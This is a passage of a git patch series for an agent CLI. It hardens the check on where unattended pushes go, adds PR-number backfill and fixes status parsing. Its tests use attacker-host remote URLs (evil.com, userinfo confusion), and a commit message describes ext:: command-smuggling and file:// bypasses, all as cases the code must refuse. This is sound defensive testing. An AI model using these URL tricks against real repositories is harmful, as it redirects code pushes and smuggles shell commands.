monkeypatch: pytest.MonkeyPatch ) -> None: @@ -1360,7 +1647,7 @@ def test_rejection_feedback_rewritten_into_spec( rejects = {"n": 0} findings_marker = "fix the retry loop specifically" - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] i = push_calls["n"] push_calls["n"] += 1 return shas[min(i, len(shas) - 1)] @@ -1428,7 +1715,7 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] finally: store.close() - spec_text = (tmp_path / "error-fix-work" / tid / ".spec.md").read_text( + spec_text = (tmp_path / "error-fix-specs" / tid / ".spec.md").read_text( encoding="utf-8" ) assert "# Prior Rejection Feedback" in spec_text @@ -1454,7 +1741,7 @@ def test_fixer_pr_gate_rejection_clears_head_before_next_step( push_calls = {"n": 0} rejects = {"n": 0} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] i = push_calls["n"] push_calls["n"] += 1 return shas[min(i, len(shas) - 1)] @@ -1557,7 +1844,7 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] monkeypatch.setattr( "agent_cli.git_act.push_branch", - lambda *, cwd, runner, expected_branch=None: pushed_sha, + lambda *, cwd, runner, expected_branch=None, expected_repo=None: pushed_sha, ) monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) monkeypatch.setattr( @@ -1761,7 +2048,7 @@ def test_fixer_resumes_pending_pr_open_via_scan_github( scan_calls: list[tuple] = [] insert_calls: list[tuple] = [] - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] return pushed_sha def fake_launch(**kwargs): # type: ignore[no-untyped-def] diff --git a/tests/test_git_act.py b/tests/test_git_act.py index 4c19bdf..60b9066 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -3,10 +3,12 @@ from __future__ import annotations import json +import subprocess import pytest from agent_cli.git_act import GitActError, measure_mergeable, push_branch +from agent_cli.main import _exec_argv from agent_cli.runtime import Completed pytestmark = pytest.mark.no_pg @@ -35,6 +37,13 @@ def _remote(argv: list[str]) -> Completed | None: return None +def _remote_push_url(argv: list[str], *, url: str) -> Completed | None: + """Fake `git remote get-url --push `.""" + if argv[:3] == ["git", "-C", CWD] and argv[3:6] == ["remote", "get-url", "--push"]: + return Completed(0, url + "\n", "") + return None + + def _assert_git_c(argv: list[str]) -> None: assert argv[:3] == ["git", "-C", CWD] for flag in FORCE_FLAGS: @@ -59,6 +68,9 @@ def runner(argv: list[str]) -> Completed: rem = _remote(argv) if rem is not None: return rem + url = _remote_push_url(argv, url="git@github.com:org/app.git") + if url is not None: + return url if "fetch" in argv: assert argv == ["git", "-C", CWD, "fetch", "--", "origin"] return Completed(0, "", "") @@ -82,6 +94,75 @@ def runner(argv: list[str]) -> Completed: assert flag not in argv +def test_push_expected_repo_url_mismatch_refused() -> None: + """Remote named origin is not enough — push URL must match expected_repo.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="git@github.com:other/repo.git") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="some/other-repo") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_url_match_succeeds() -> None: + """Matching push URL (SSH form) allows the normal ahead-one push path.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="https://github.com/org/app.git") + if url is not None: + return url + if "fetch" in argv: + return Completed(0, "", "") + if "rev-list" in argv: + return Completed(0, "0\t1\n", "") + if argv == PUSH_ARGV: + return Completed(0, "", "") + if argv == ["git", "-C", CWD, "rev-parse", "HEAD"]: + return Completed(0, SHA + "\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + got = push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert got == SHA + assert PUSH_ARGV in calls + + def test_push_ahead_zero_skips_push() -> None: calls: list[list[str]] = [] @@ -374,6 +455,18 @@ def runner(argv: list[str]) -> Completed: assert not any(len(a) > 3 and a[3] == "push" for a in calls) +def test_exec_argv_timeout_returns_124(monkeypatch: pytest.MonkeyPatch) -> None: + """subprocess.TimeoutExpired from main._exec_argv becomes Completed(124).""" + + def boom(*_args, **_kwargs): # type: ignore[no-untyped-def] + raise subprocess.TimeoutExpired(cmd=["sleep", "999"], timeout=120) + + monkeypatch.setattr(subprocess, "run", boom) + completed = _exec_argv(["sleep", "999"], cwd="/tmp") + assert completed.returncode == 124 + assert completed.stderr + + def test_mergeable_open_empty_checks() -> None: def runner(argv: list[str]) -> Completed: if "pr" in argv and "view" in argv: diff --git a/tests/test_lane.py b/tests/test_lane.py index 75b4966..2fc41fb 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -276,6 +276,25 @@ def test_parse_status_rc_zero_partial() -> None: assert parse_status("no status here", 0) == "partial" +def test_parse_status_complete_body_with_timeout_rc_is_timeout() -> None: + """A clean STATUS: complete body must not win over returncode 124.""" + body = "STATUS: complete\nFINDINGS: none\n" + assert parse_status(body, 124) == "timeout" + assert parse_status(body, 124) != "complete" + + +def test_parse_status_complete_body_with_nonzero_rc_is_unavailable() -> None: + """A clean STATUS: complete body must not win over a nonzero returncode.""" + body = "STATUS: complete\nFINDINGS: none\n" + assert parse_status(body, 1) == "unavailable" + assert parse_status(body, 1) != "complete" + + +def test_parse_status_complete_body_with_zero_rc_still_complete() -> None: + body = "STATUS: complete\nFINDINGS: none\n" + assert parse_status(body, 0) == "complete" + + def test_has_single_terminal_report_accepts_one_block() -> None: text = "STATUS: complete\nFINDINGS: none\n" assert has_single_terminal_report(text) is True diff --git a/tests/test_run.py b/tests/test_run.py index 39741ed..61210b4 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -669,6 +669,62 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: store.close() +def test_build_review_spec_file_fences_diff_with_triple_backtick_line( + tmp_path: Path, +) -> None: + """A diff containing a lone ``` line must use a longer fence so embedding stays intact.""" + diff_with_fence = ( + "diff --git a/README.md b/README.md\n" + "--- a/README.md\n" + "+++ b/README.md\n" + "@@ -1,3 +1,5 @@\n" + " # Title\n" + "+\n" + "+```\n" + "+code sample\n" + "+```\n" + ) + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + if argv[3] == "origin/develop": + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + if argv[:2] == ["git", "merge-base"]: + return Completed(0, "abc123\n", "") + if "diff" in argv and "--name-only" in argv: + return Completed(0, "README.md\n", "") + if "diff" in argv: + return Completed(0, diff_with_fence, "") + return Completed(0, "", "") + + store = _store(tmp_path) + try: + path = build_review_spec_file( + store, + "fence-tid", + role="pr-reviewer-quality", + round_num=1, + implement_spec_file=None, + cwd=str(tmp_path), + exec_argv=fake_exec, + ) + body = Path(path).read_text(encoding="utf-8") + assert diff_with_fence in body + # Opening fence must be longer than 3 backticks (diff contains ```). + marker = "````" + assert f"{marker}diff\n" in body + assert body.count(marker) >= 2 + # Diff content appears between the longer fences, not broken out early. + open_at = body.index(f"{marker}diff\n") + close_at = body.index(f"\n{marker}\n", open_at + len(marker)) + embedded = body[open_at:close_at] + assert "+```\n" in embedded + assert "+code sample\n" in embedded + finally: + store.close() + + def test_launch_oserror_does_not_leave_working_agent( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -1002,7 +1058,7 @@ def test_run_pushed_calls_push_branch( called = {"n": 0} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] called["n"] += 1 return "abc1234" @@ -1027,7 +1083,7 @@ def test_pushed_passes_expected_branch_none_for_ordinary_task( captured: dict[str, object] = {} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] captured["expected_branch"] = expected_branch return "abc1234" @@ -1063,7 +1119,7 @@ def test_pushed_fails_loudly_on_stale_whitespace_only_error_id( called = {"n": 0} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] called["n"] += 1 return "abc1234" @@ -1097,7 +1153,7 @@ def test_pushed_fails_loudly_on_error_id_without_error_fix_confirmed( called = {"n": 0} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] called["n"] += 1 return "abc1234" @@ -1223,7 +1279,7 @@ def test_run_mergeable_after_gates( push_called = {"n": 0} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] push_called["n"] += 1 return "abc1234" @@ -1784,7 +1840,7 @@ def test_chain_snapshot_does_not_resolve_stale_head_across_fresh_scan( shas = [old_sha, new_sha] push_calls = {"n": 0} - def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] i = push_calls["n"] push_calls["n"] += 1 return shas[min(i, len(shas) - 1)] From 4828b3af3e2f3ad075327bb461d238031d783fa5 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 17:32:27 -0300 Subject: [PATCH 17/47] Pin the push-destination check to github.com and decouple PR-number backfill. The prior commit's push-destination verification compared only the trailing org/repo path, stripping the host entirely -- a remote URL pointing at any other domain with a matching org/repo path (including a userinfo-confusion form like https://github.com@evil.com/org/app) would pass. The fixer's own clone step always targets github.com, so the host is now required to match it for both URL and SCP forms. Separately, the PR-number backfill sat inside the same guard that gates whether pr.open needs creating -- once that row reaches done the guard is permanently false, so a crash between the row finishing and the backfill write would skip the backfill forever, silently defeating the prior commit's own PR-gate-visibility fix in that window. The backfill is now its own independent check. Also: DESIGN.md's spec-path documentation corrected to match the prior commit's error-fix-specs move (it still described the old, leaky path); and PR resolution for error-fix tasks now goes strictly through payload.pr_number rather than letting a manually-set numeric task.ref (which has separate checkout-ref semantics for these tasks) take precedence. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- DESIGN.md | 2 +- src/agent_cli/fixer_act.py | 20 ++++++-- src/agent_cli/git_act.py | 15 +++++- src/agent_cli/main.py | 15 +++++- tests/test_fixer_act.py | 82 ++++++++++++++++++++++++++++++++ tests/test_git_act.py | 96 ++++++++++++++++++++++++++++++++++++++ tests/test_github_act.py | 25 ++++++++++ 7 files changed, 246 insertions(+), 9 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index 2148acf..e9a8176 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -678,7 +678,7 @@ For confirmed error-fix tasks only (same `error_fix_confirmed` condition), `clos `agent watch error-fix-work` drains open error-fix `implement` tasks on this device (`payload.error_id` set and a matching `error.fix` confirmed for that id in the same session, state not `done`/`failed`) from `spec_written` through a draft `pr.open`, the PR gates (`grok_pr_quality`, `grok_pr_logic`, `codex_pr_quality`, `codex_pr_logic`, plus the scripted `contributing_ok` carve-out), and task state `done`, using only script control flow and the `grok`/`codex` CLIs via `lane.launch()`. A human still merges the PR; the spine has no `merged` step. It is not wired into `agent daemon`. -- Scripts the five-part spec under `$AGENT_HOME/error-fix-work//.spec.md` from the `error.fix` brief plus `error.seen` metadata (never raw log excerpts), closes `spec_written` via the script carve-out above, then `agent round start`. +- Scripts the five-part spec under `$AGENT_HOME/error-fix-specs//.spec.md` (a sibling of `error-fix-work`, never inside the pushed git worktree) from the `error.fix` brief plus `error.seen` metadata (never raw log excerpts), closes `spec_written` via the script carve-out above, then `agent round start`. - Walks the spine with the same step executor as `agent run` (including auto pass/fail for reviewer and PR-reviewer lanes from `STATUS:` + `FINDINGS:`). Round retries reset the relevant checklist keys to `nein` and call `agent round start`. Cap is `task.current_round` against 5: exceeding it sets `task state failed` and stops touching that task. - If a vendor CLI binary is missing (`OSError` / `FileNotFoundError` before any `LaneResult`) or a lane returns `LaneResult(status="unavailable")` on both the initial attempt and the one retry, the driver leaves task and checklist state untouched for retry, but releases any already-started agent row (`cmd_agent finish --verdict unavailable`) rather than leaving it `working` forever — notes the CLI looks unavailable, and moves on; the next scan retries after a human fixes PATH/auth. - Each scan re-checks from the ledger (not per-call local state) whether `pushed` is closed but no successful (`done`) `pr.open` activity row exists yet for that task's branch head. A mid-flight `pending` row is resumed via `scan_github` (no duplicate insert); an `error` row or missing row triggers a fresh `insert_pr_open_and_scan` — so a failed insert is not silently skipped by the next scan. diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 1a22789..89a808a 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -543,14 +543,14 @@ def _drive_one( head = snap_head checklist = snap["checklist"] + pr_head = f"error-fix-{error_id[:8]}" if error_id else "" if ( error_id and repo and checklist.get("pushed") == "ja" - and not _pr_open_row_exists(store, head=f"error-fix-{error_id[:8]}") + and not _pr_open_row_exists(store, head=pr_head) ): try: - pr_head = f"error-fix-{error_id[:8]}" if _pr_open_pending_row_exists(store, head=pr_head): # Crash between insert and scan left a pending row — resume # it rather than inserting a duplicate. @@ -584,7 +584,19 @@ def _drive_one( # next scan rather than failing it; each cron/knock scan retries. if not _pr_open_row_exists(store, head=pr_head): return f"error-fix-work {tid} pr.open-error (create failed)" - # Persist PR number on payload (task.ref stays the checkout ref). + except (StoreError, OSError, SystemExit) as exc: + return f"error-fix-work {tid} pr.open-error ({exc})" + # Fall through so this scan can continue the spine; next scan + # skips once the pr.open row exists. + + # Independent of the block above: backfill payload.pr_number whenever a + # done pr.open row exists for this head, regardless of whether THIS scan + # created it (or it was created — and left unbackfilled — in an earlier, + # since-crashed scan). Must not be nested inside the "does pr.open need + # creating" guard above, since that guard is permanently False once the + # row is done, which would otherwise permanently skip a missed backfill. + if error_id and repo and pr_head and _pr_open_row_exists(store, head=pr_head): + try: pr_number = _pr_open_number(store, head=pr_head) if pr_number is not None: task = store.row("task", tid) or task @@ -600,8 +612,6 @@ def _drive_one( store.write("task", "update", tid, main_mod._strip(task)) except (StoreError, OSError, SystemExit) as exc: return f"error-fix-work {tid} pr.open-error ({exc})" - # Fall through so this scan can continue the spine; next scan - # skips once the pr.open row exists. ready = next_steps(str(snap["workflow"]), snap["checklist"], spine_only=True) if not ready: diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index d2e03d3..d14e267 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -49,7 +49,14 @@ def _resolve_remote(cwd: str, runner: Runner) -> str: def _normalize_repo_identity(raw: str) -> str | None: - """Normalize a git remote URL or org/repo string down to 'org/repo'.""" + """Normalize a git remote URL or org/repo string down to 'org/repo'. + + URL and SCP-style forms must resolve to host github.com (case-insensitive) — + the fixer's own clone step always targets https://github.com/{repo}.git, so an + unattended push must never be accepted merely because the trailing org/repo path + matches while the host points somewhere else. The bare 'org/repo' string form + (used to normalize expected_repo itself) has no host to check. + """ s = raw.strip() if not s: return None @@ -60,8 +67,14 @@ def _normalize_repo_identity(raw: str) -> str | None: parts = after_scheme.split("/") if len(parts) < 3 or not parts[1] or not parts[2]: return None + host = parts[0].rsplit("@", 1)[-1].split(":", 1)[0] + if host.lower() != "github.com": + return None return f"{parts[1]}/{parts[2]}" if "@" in s and ":" in s.rsplit("@", 1)[-1]: + host = s.rsplit("@", 1)[-1].split(":", 1)[0] + if host.lower() != "github.com": + return None path = s.rsplit(":", 1)[-1] parts = path.split("/") if len(parts) != 2 or not parts[0] or not parts[1]: diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 6310ea4..8d68183 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -1076,15 +1076,26 @@ def cmd_check(args: list[str]) -> None: def _task_pull_request(task: dict) -> tuple[str, int] | None: """The task's pull request as (repo, number), or None when it has none.""" + from .error_fix_act import _nonempty_str + repo = _repo_ok(task.get("repo")) if repo is None: return None + payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} + is_error_fix = bool(_nonempty_str(payload.get("error_id"))) ref = task.get("ref") - if isinstance(ref, str) and ref.isdigit() and int(ref) > 0: + if ( + not is_error_fix + and isinstance(ref, str) + and ref.isdigit() + and int(ref) > 0 + ): return repo, int(ref) # error-fix tasks keep task["ref"] as a git checkout ref; the PR number # lives on payload.pr_number (set by the fixer after pr.open succeeds). - payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} + # For error-fix tasks specifically, ref is never consulted for the PR + # number even when it happens to be a positive digit string (e.g. an + # operator-set --ref on task create). pr_number = payload.get("pr_number") if isinstance(pr_number, bool): return None diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 56e99f9..c801216 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -1532,6 +1532,88 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] assert str(approved_gq[-1].get("head_sha") or "").lower() == shas[1] +def test_fixer_backfills_pr_number_when_pr_open_already_done( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Crash window: done pr.open exists but payload.pr_number unset — backfill on next scan.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pr_head = f"error-fix-{ERROR_ID[:8]}" + activity_id = str(uuid.uuid4()) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: ( + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + ), + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task_payload = ( + task.get("payload") if isinstance(task.get("payload"), dict) else {} + ) + assert "pr_number" not in task_payload + + # Simulate earlier scan that created a done pr.open then crashed before + # backfilling payload.pr_number — row already exists coming into this scan. + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": "sess-1", + "type": "pr.open", + "payload": { + "repo": "org/app", + "title": "sess-1 - Fix timeout", + "head": pr_head, + "body": "EN:\nDraft\n", + }, + "execution_status": "done", + "result": { + "repo": "org/app", + "number": 42, + "url": "https://github.com/org/app/pull/42", + "draft": True, + }, + }, + ) + assert _pr_open_row_exists(store, head=pr_head) + + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + updated = store.row("task", tid) + assert updated is not None + payload = updated.get("payload") + assert isinstance(payload, dict) + assert payload.get("pr_number") == 42 + finally: + store.close() + + def test_fixer_persists_pr_number_and_queues_gate_findings( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_git_act.py b/tests/test_git_act.py index 60b9066..d36dbc3 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -163,6 +163,102 @@ def runner(argv: list[str]) -> Completed: assert PUSH_ARGV in calls +def test_push_expected_repo_hostile_host_url_form_refused() -> None: + """Trailing org/repo match is not enough — host must be github.com.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="https://evil.com/org/app.git") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_hostile_host_scp_form_refused() -> None: + """SCP-style hostile host with matching org/repo path must be refused.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="git@evil.com:org/app.git") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_expected_repo_userinfo_confusion_host_refused() -> None: + """Userinfo-confusion URL (github.com@evil.com) must resolve to evil.com.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/feat-x\n", "") + cfg = _config(argv) + if cfg is not None: + return cfg + rem = _remote(argv) + if rem is not None: + return rem + url = _remote_push_url(argv, url="https://github.com@evil.com/org/app.git") + if url is not None: + return url + if "push" in argv or "fetch" in argv: + raise AssertionError("must not fetch/push when expected_repo mismatches") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="does not match expected repo"): + push_branch(cwd=CWD, runner=runner, expected_repo="org/app") + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + def test_push_ahead_zero_skips_push() -> None: calls: list[list[str]] = [] diff --git a/tests/test_github_act.py b/tests/test_github_act.py index b2c1e52..378a36b 100644 --- a/tests/test_github_act.py +++ b/tests/test_github_act.py @@ -1075,3 +1075,28 @@ def test_a_rejected_gate_never_approves(tmp_path: Path, capsys: pytest.CaptureFi src = inspect.getsource(_queue_gate_findings) assert "APPROVE" not in src + + +def test_task_pull_request_error_fix_uses_payload_pr_number_not_ref() -> None: + """error-fix tasks resolve PR via payload.pr_number; digit-string ref is ignored.""" + from agent_cli.main import _task_pull_request # noqa: PLC0415 + + error_fix_task = { + "repo": "org/app", + "ref": "7", + "payload": {"error_id": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", "pr_number": 42}, + } + assert _task_pull_request(error_fix_task) == ("org/app", 42) + + ordinary_task = { + "repo": "org/app", + "ref": "7", + "payload": {}, + } + assert _task_pull_request(ordinary_task) == ("org/app", 7) + + ordinary_no_payload = { + "repo": "org/app", + "ref": "7", + } + assert _task_pull_request(ordinary_no_payload) == ("org/app", 7) From 085f28fb7011d58c092ef068ed1f85be0a39b7eb Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 18:16:40 -0300 Subject: [PATCH 18/47] Replace parse-then-validate with a strict allowlist for push destinations. Three straight rounds each patched a specific bypass of the push- destination host check (a hostile host, a query/fragment authority- parsing confusion, a host-less bare form) -- and this round's review found two more the parse-then-validate approach still admitted: an ext:: git transport-helper injection that smuggles an arbitrary shell command past the check by hiding it in a discarded "userinfo" prefix, and a missing scheme allowlist letting file:// through unchecked. Rather than patch a fifth bypass, the real remote URL now has to fullmatch one of exactly three known-good github.com shapes (https, SCP-style, ssh://) via anchored regex, with org/repo taken only from the match's own capture groups -- nothing else is accepted. This is structurally resistant to new bypass classes instead of chasing them one at a time; the trusted expected_repo config value keeps its existing host-less normalization, untouched. Also, in review: swapped $ for \Z in the three new patterns (defense- in-depth against re.fullmatch's trailing-newline allowance, already inert here due to double-stripping but cheap to close properly), and added the one missing accept-case test (SCP form with a .git suffix through the real push_branch path). Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/git_act.py | 51 +++--- tests/test_git_act.py | 342 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 368 insertions(+), 25 deletions(-) diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index d14e267..fcb5b38 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -14,6 +14,14 @@ _SHA_RE = re.compile(r"^[0-9a-fA-F]{7,40}$") +# Deny-by-default allowlist for attacker-controlled remote push URLs. Capture +# groups 1/2 are the sole source of org/repo — no further string surgery. +_REAL_REMOTE_URL_RES = ( + re.compile(r"^https://github\.com/([A-Za-z0-9._-]+)/([A-Za-z0-9._-]+?)(\.git)?/?\Z"), + re.compile(r"^[A-Za-z0-9._-]+@github\.com:([A-Za-z0-9._-]+)/([A-Za-z0-9._-]+?)(\.git)?\Z"), + re.compile(r"^ssh://[A-Za-z0-9._-]+@github\.com/([A-Za-z0-9._-]+)/([A-Za-z0-9._-]+?)(\.git)?\Z"), +) + class GitActError(Exception): """Fail-loud; cmd_run maps this to die().""" @@ -48,38 +56,31 @@ def _resolve_remote(cwd: str, runner: Runner) -> str: raise GitActError("ambiguous remotes (no origin)") -def _normalize_repo_identity(raw: str) -> str | None: +def _match_real_remote_url(raw: str) -> str | None: + """Return 'org/repo' only for the three allowlisted github.com URL forms.""" + for pattern in _REAL_REMOTE_URL_RES: + m = pattern.fullmatch(raw) + if m is not None: + return f"{m.group(1)}/{m.group(2)}" + return None + + +def _normalize_repo_identity(raw: str, *, require_host: bool = False) -> str | None: """Normalize a git remote URL or org/repo string down to 'org/repo'. - URL and SCP-style forms must resolve to host github.com (case-insensitive) — - the fixer's own clone step always targets https://github.com/{repo}.git, so an - unattended push must never be accepted merely because the trailing org/repo path - matches while the host points somewhere else. The bare 'org/repo' string form - (used to normalize expected_repo itself) has no host to check. + When require_host is True (real remote push URLs — attacker-controllable), + only three exact github.com forms are accepted via regex allowlist; every + other scheme, host, or shape is rejected. When require_host is False + (trusted expected_repo config), bare 'org/repo' is normalized without a + host check. """ s = raw.strip() if not s: return None + if require_host: + return _match_real_remote_url(s) if s.endswith(".git"): s = s[: -len(".git")] - if "://" in s: - after_scheme = s.split("://", 1)[1] - parts = after_scheme.split("/") - if len(parts) < 3 or not parts[1] or not parts[2]: - return None - host = parts[0].rsplit("@", 1)[-1].split(":", 1)[0] - if host.lower() != "github.com": - return None - return f"{parts[1]}/{parts[2]}" - if "@" in s and ":" in s.rsplit("@", 1)[-1]: - host = s.rsplit("@", 1)[-1].split(":", 1)[0] - if host.lower() != "github.com": - return None - path = s.rsplit(":", 1)[-1] - parts = path.split("/") - if len(parts) != 2 or not parts[0] or not parts[1]: - return None - return f"{parts[0]}/{parts[1]}" parts = s.split("/") if len(parts) != 2 or not parts[0] or not parts[1]: return None @@ -94,7 +95,7 @@ def _ensure_remote_matches_repo( if completed.returncode != 0: raise GitActError(_fail_detail(completed, "git remote get-url failed")) url = completed.stdout.strip() - got = _normalize_repo_identity(url) + got = _normalize_repo_identity(url, require_host=True) want = _normalize_repo_identity(expected_repo) if got is None or want is None or got != want: raise GitActError( diff --git a/tests/test_git_act.py b/tests/test_git_act.py index d36dbc3..2b906f9 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -259,6 +259,348 @@ def runner(argv: list[str]) -> Completed: assert not any("fetch" in a for a in calls) +def 